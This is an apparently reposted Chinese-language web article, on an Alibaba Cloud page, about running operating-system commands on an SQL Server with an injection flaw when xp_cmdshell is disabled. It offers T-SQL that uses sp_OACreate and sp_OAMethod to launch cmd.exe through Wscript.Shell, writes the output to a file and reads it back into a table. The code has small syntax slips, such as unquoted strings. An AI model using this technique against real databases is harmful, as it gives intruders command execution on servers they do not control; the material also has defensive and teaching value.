不需xp_cmdshell支援在有注入漏洞的sql伺服器上運行cmd命令_資料庫安全

來源:互聯網
上載者:User
即使xp_cmdshell不可用了,還是有可能在伺服器上運行CMD並得到回顯結果的,這裡要用到SQL伺服器另外的幾個系統預存程序:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是伺服器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 執行個體上建立 OLE 對象執行個體。
文法
sp_OACreate progid, clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
擷取 OLE 對象的屬性值。
文法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
調用 OLE 對象的方法。
文法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]

思路:
先在SQL Server 上建立一個Wscript.Shell,調用其run Method,將cmd.exe執行的結果輸出到一個檔案中,然後再建立一個Scripting.FileSystemObject,通過它建立一個TextStream對象,讀出臨時檔案中的字元,一行一行的添加到一個暫存資料表中。

以下是相應的SQL語句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate wscript.shell,@shell output
EXEC sp_oamethod @shell,run,null,cmd.exe /c dir c:\>c:\temp.txt,0,true
--注意run的參數true指的是將等待程式啟動並執行結果,對於類似ping的長時間命令必需使用此參數。

EXEC sp_oacreate scripting.filesystemobject,@fso output
EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,Readline,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.